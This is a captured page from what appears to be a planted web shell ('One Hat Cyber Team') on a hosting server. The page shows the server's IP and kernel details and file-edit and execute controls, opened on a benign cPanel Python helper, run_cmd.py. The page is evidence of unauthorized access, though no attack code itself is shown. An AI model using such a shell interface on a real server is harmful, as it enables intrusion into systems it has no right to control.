One Hat Cyber Team
Your IP :
18.191.252.78
Server IP :
192.145.235.60
Server :
Linux ngx365.inmotionhosting.com 5.14.0-427.33.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 30 09:45:56 EDT 2024 x86_64
Server Software :
Apache
PHP Version :
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
support
/
lib
/
Edit File:
run_cmd.py
from typing import Union import os is_exe = lambda x: os.path.isfile(x) and os.access(x, os.X_OK) def cpuwatch_execv(args: list[str]): """os.execv a command with cpuwatch""" cores = os.cpu_count() assert cores cmd = ["/usr/local/cpanel/bin/cpuwatch", str(cores)] cmd.extend(args) os.execv(cmd[0], cmd) def which(executable: str) -> Union[str, None]: for path in os.get_exec_path(): full = os.path.join(path, executable) if is_exe(full): return full return None
Simpan